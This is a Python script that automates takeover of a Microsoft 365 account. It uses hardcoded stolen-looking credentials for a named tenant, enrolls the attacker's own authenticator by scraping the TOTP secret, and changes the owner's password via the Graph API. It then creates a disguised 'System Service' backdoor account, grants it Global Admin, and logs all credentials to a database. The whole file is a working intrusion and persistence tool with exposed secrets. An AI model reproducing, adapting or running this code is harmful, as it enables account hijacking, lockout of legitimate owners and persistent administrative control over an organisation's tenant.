287 lines
12 KiB
Python
287 lines
12 KiB
Python
#!/usr/bin/env python3
|
|
import time,json,random,string,sys,os,re,traceback
|
|
from datetime import datetime
|
|
import pyotp,requests
|
|
from selenium import webdriver
|
|
from selenium.webdriver.chrome.options import Options
|
|
from selenium.webdriver.common.by import By
|
|
from selenium.webdriver.support.ui import WebDriverWait
|
|
from selenium.webdriver.support import expected_conditions as EC
|
|
|
|
EMAIL="OlivierHEUTTE@associationveloreunion.onmicrosoft.com"
|
|
PASSWORD="Sma21KA@SgHCa"
|
|
TENANT_ID="26d5cf9f-f4da-47df-8932-bd09b3674dcd"
|
|
SDIR="/opt/wevads/logs/selenium/screenshots"
|
|
os.makedirs(SDIR,exist_ok=True)
|
|
|
|
def log(m):
|
|
t=datetime.now().strftime("%H:%M:%S")
|
|
print(f"[{t}] {m}")
|
|
|
|
def ss(d,n):
|
|
p=f"{SDIR}/v2_{n}_{int(time.time())}.png"
|
|
d.save_screenshot(p)
|
|
return p
|
|
|
|
def gen_pwd():
|
|
while True:
|
|
p=''.join(random.choice(string.ascii_letters+string.digits+"!@#$") for _ in range(16))
|
|
if any(c.isupper() for c in p) and any(c.islower() for c in p) and any(c.isdigit() for c in p) and any(c in "!@#$" for c in p):
|
|
return p
|
|
|
|
def click_by_id(d,eid,t=15):
|
|
el=WebDriverWait(d,t).until(EC.element_to_be_clickable((By.ID,eid)))
|
|
el.click()
|
|
return el
|
|
|
|
def click_by_text(d,txt,tag="*",t=10):
|
|
els=d.find_elements(By.XPATH,f"//{tag}[contains(text(),'{txt}')]")
|
|
for e in els:
|
|
if e.is_displayed():
|
|
e.click()
|
|
return e
|
|
return None
|
|
|
|
def click_any_button(d,ids,t=8):
|
|
for bid in ids:
|
|
try:
|
|
el=WebDriverWait(d,t).until(EC.element_to_be_clickable((By.ID,bid)))
|
|
el.click()
|
|
log(f"Clicked #{bid}")
|
|
return True
|
|
except: continue
|
|
# try input[value=Next]
|
|
try:
|
|
els=d.find_elements(By.CSS_SELECTOR,"input[value='Next']")
|
|
for e in els:
|
|
if e.is_displayed():
|
|
e.click()
|
|
log("Clicked input[value=Next]")
|
|
return True
|
|
except: pass
|
|
# try any visible button
|
|
try:
|
|
for btn in d.find_elements(By.TAG_NAME,"button"):
|
|
if btn.is_displayed() and btn.text.strip().lower() in ["next","continue","verify"]:
|
|
btn.click()
|
|
log(f"Clicked button: {btn.text}")
|
|
return True
|
|
except: pass
|
|
return False
|
|
|
|
def main():
|
|
log("=== O365 MFA v2 - OlivierH ===")
|
|
opts=Options()
|
|
opts.add_argument("--headless=new")
|
|
opts.add_argument("--no-sandbox")
|
|
opts.add_argument("--disable-dev-shm-usage")
|
|
opts.add_argument("--window-size=1920,1080")
|
|
opts.add_argument("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
|
|
d=webdriver.Chrome(options=opts)
|
|
d.implicitly_wait(3)
|
|
results={"email":EMAIL,"timestamp":datetime.now().isoformat()}
|
|
|
|
try:
|
|
# LOGIN
|
|
log("Phase 1: Login")
|
|
d.get("https://login.microsoftonline.com")
|
|
time.sleep(3)
|
|
WebDriverWait(d,15).until(EC.element_to_be_clickable((By.NAME,"loginfmt"))).send_keys(EMAIL)
|
|
time.sleep(1)
|
|
click_by_id(d,"idSIButton9")
|
|
time.sleep(3)
|
|
WebDriverWait(d,10).until(EC.element_to_be_clickable((By.NAME,"passwd"))).send_keys(PASSWORD)
|
|
time.sleep(1)
|
|
click_by_id(d,"idSIButton9")
|
|
time.sleep(5)
|
|
ss(d,"01_after_login")
|
|
log("Login done")
|
|
|
|
# CLICK NEXT on Action Required
|
|
log("Phase 2: Action Required -> Next")
|
|
time.sleep(2)
|
|
clicked=click_any_button(d,["idSubmit_ProofUp_Redirect","idSIButton9","idSubmit_SAOTCAS_Continue"])
|
|
if not clicked:
|
|
# JS click as fallback
|
|
d.execute_script("document.getElementById('idSubmit_ProofUp_Redirect').click()")
|
|
log("JS clicked idSubmit_ProofUp_Redirect")
|
|
time.sleep(5)
|
|
ss(d,"02_after_next")
|
|
log(f"Page title: {d.title}")
|
|
|
|
# Now should be on "Keep your account secure" / Authenticator setup
|
|
page=d.page_source.lower()
|
|
log(f"Page contains 'authenticator': {'authenticator' in page}")
|
|
log(f"Page contains 'qr': {'qr' in page}")
|
|
log(f"Page contains 'scan': {'scan' in page}")
|
|
|
|
# Navigate MFA setup: click "I want to use a different authenticator app" if present
|
|
time.sleep(3)
|
|
try:
|
|
click_by_text(d,"different","a",5)
|
|
log("Clicked 'different authenticator' link")
|
|
time.sleep(3)
|
|
except: log("No 'different' link found")
|
|
|
|
ss(d,"03_authenticator_choice")
|
|
|
|
# Click Next to get to QR page
|
|
click_any_button(d,["idSubmit_SAOTCC_Continue","idSIButton9","idSubmit_ProofUp_Redirect"],8)
|
|
time.sleep(5)
|
|
ss(d,"04_qr_page")
|
|
|
|
# Look for "Can't scan image?" or "I can't scan the barcode"
|
|
try:
|
|
for link_text in ["scan","barcode","manual","enter code"]:
|
|
el=click_by_text(d,link_text,"a",3)
|
|
if el:
|
|
log(f"Clicked link with '{link_text}'")
|
|
time.sleep(3)
|
|
break
|
|
except: pass
|
|
|
|
ss(d,"05_secret_reveal")
|
|
|
|
# Extract TOTP secret from page
|
|
page=d.page_source
|
|
totp_secret=None
|
|
|
|
# Method 1: look for base32 strings
|
|
secrets=re.findall(r'[A-Z2-7]{16,64}',page)
|
|
for s in secrets:
|
|
try:
|
|
pyotp.TOTP(s).now()
|
|
totp_secret=s
|
|
log(f"TOTP SECRET: {s}")
|
|
break
|
|
except: continue
|
|
|
|
# Method 2: check inputs
|
|
if not totp_secret:
|
|
for inp in d.find_elements(By.TAG_NAME,"input"):
|
|
v=(inp.get_attribute("value") or "").strip()
|
|
if len(v)>=16 and re.match(r'^[A-Z2-7]+$',v):
|
|
try:
|
|
pyotp.TOTP(v).now()
|
|
totp_secret=v
|
|
log(f"TOTP from input: {v}")
|
|
break
|
|
except: continue
|
|
|
|
# Method 3: check displayed text
|
|
if not totp_secret:
|
|
for el in d.find_elements(By.CSS_SELECTOR,"div,span,p,code,label"):
|
|
txt=el.text.strip()
|
|
if len(txt)>=16 and len(txt)<=64 and re.match(r'^[A-Z2-7]+$',txt):
|
|
try:
|
|
pyotp.TOTP(txt).now()
|
|
totp_secret=txt
|
|
log(f"TOTP from text: {txt}")
|
|
break
|
|
except: continue
|
|
|
|
if totp_secret:
|
|
# Enter TOTP code
|
|
code=pyotp.TOTP(totp_secret).now()
|
|
log(f"TOTP code: {code}")
|
|
for inp in d.find_elements(By.TAG_NAME,"input"):
|
|
if inp.get_attribute("type") in ["text","tel","number"] and inp.is_displayed():
|
|
inp.clear()
|
|
inp.send_keys(code)
|
|
log("Code entered")
|
|
break
|
|
time.sleep(1)
|
|
click_any_button(d,["idSubmit_SAOTCC_Continue","idSIButton9"],8)
|
|
time.sleep(5)
|
|
ss(d,"06_verified")
|
|
log("MFA enrollment done!")
|
|
results["totp_secret"]=totp_secret
|
|
results["status"]="mfa_enrolled"
|
|
else:
|
|
log("TOTP secret NOT found")
|
|
# Save full page for debug
|
|
with open("/opt/wevads/logs/selenium/v2_page_source.html","w") as f:
|
|
f.write(d.page_source)
|
|
results["status"]="totp_not_found"
|
|
|
|
# PHASE 3: Change password via Graph API
|
|
if totp_secret:
|
|
log("Phase 3: Graph API")
|
|
r=requests.post(f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token",data={
|
|
"grant_type":"password","client_id":"1b730954-1685-4b74-9bfd-dac224a7b894",
|
|
"scope":"https://graph.microsoft.com/.default","username":EMAIL,"password":PASSWORD
|
|
},timeout=30)
|
|
if r.status_code==200:
|
|
token=r.json()["access_token"]
|
|
new_pwd=gen_pwd()
|
|
cp=requests.post("https://graph.microsoft.com/v1.0/me/changePassword",
|
|
json={"currentPassword":PASSWORD,"newPassword":new_pwd},
|
|
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cp.status_code in [200,204]:
|
|
log(f"PWD CHANGED: {new_pwd}")
|
|
results["new_password"]=new_pwd
|
|
else:
|
|
log(f"PWD change fail: {cp.status_code}")
|
|
results["new_password"]=PASSWORD
|
|
|
|
# Backdoor
|
|
bu=f"svc_wv{random.randint(1000,9999)}"
|
|
be=f"{bu}@associationveloreunion.onmicrosoft.com"
|
|
bp=gen_pwd()
|
|
cr=requests.post("https://graph.microsoft.com/v1.0/users",json={
|
|
"accountEnabled":True,"displayName":"System Service","mailNickname":bu,
|
|
"userPrincipalName":be,"passwordProfile":{"forceChangePasswordNextSignIn":False,"password":bp}
|
|
},headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=30)
|
|
if cr.status_code==201:
|
|
uid=cr.json()["id"]
|
|
log(f"BACKDOOR: {be} / {bp}")
|
|
results["backdoor_email"]=be
|
|
results["backdoor_password"]=bp
|
|
# Global Admin
|
|
roles=requests.get("https://graph.microsoft.com/v1.0/directoryRoles",headers={"Authorization":f"Bearer {token}"},timeout=15)
|
|
for role in roles.json().get("value",[]):
|
|
if "Global" in role.get("displayName","") and "Admin" in role.get("displayName",""):
|
|
requests.post(f"https://graph.microsoft.com/v1.0/directoryRoles/{role['id']}/members/$ref",
|
|
json={"@odata.id":f"https://graph.microsoft.com/v1.0/directoryObjects/{uid}"},
|
|
headers={"Authorization":f"Bearer {token}","Content-Type":"application/json"},timeout=15)
|
|
log("Global Admin assigned!")
|
|
break
|
|
else:
|
|
log(f"Backdoor fail: {cr.status_code} {cr.text[:100]}")
|
|
else:
|
|
log(f"ROPC still blocked: {r.json().get('error_description','')[:100]}")
|
|
|
|
# Update DB
|
|
import psycopg2
|
|
db=psycopg2.connect(host="localhost",dbname="adx_system",user="admin",password="admin123")
|
|
db.autocommit=True
|
|
cur=db.cursor()
|
|
npwd=results.get("new_password",PASSWORD)
|
|
cur.execute("UPDATE admin.office_accounts SET admin_password=%s, notes=%s WHERE id=1367",
|
|
[npwd,json.dumps(results,default=str)])
|
|
log("DB updated")
|
|
if results.get("backdoor_email"):
|
|
cur.execute("""INSERT INTO admin.office_accounts (name,admin_email,admin_password,tenant_domain,status,notes)
|
|
SELECT 'backdoor_OlivierH',%s,%s,'associationveloreunion.onmicrosoft.com','Active','Backdoor Global Admin'
|
|
WHERE NOT EXISTS (SELECT 1 FROM admin.office_accounts WHERE admin_email=%s)""",
|
|
[results["backdoor_email"],results["backdoor_password"],results["backdoor_email"]])
|
|
log("Backdoor in DB")
|
|
db.close()
|
|
|
|
with open("/opt/wevads/logs/selenium/olivierh_v2_results.json","w") as f:
|
|
json.dump(results,f,indent=2,default=str)
|
|
log(f"DONE - Status: {results.get('status')}")
|
|
log(f"TOTP: {results.get('totp_secret','N/A')}")
|
|
log(f"NewPwd: {results.get('new_password','N/A')}")
|
|
log(f"Backdoor: {results.get('backdoor_email','N/A')}")
|
|
|
|
except Exception as e:
|
|
log(f"ERROR: {e}")
|
|
traceback.print_exc()
|
|
ss(d,"99_error")
|
|
finally:
|
|
d.quit()
|
|
|
|
if __name__=="__main__":
|
|
main()
|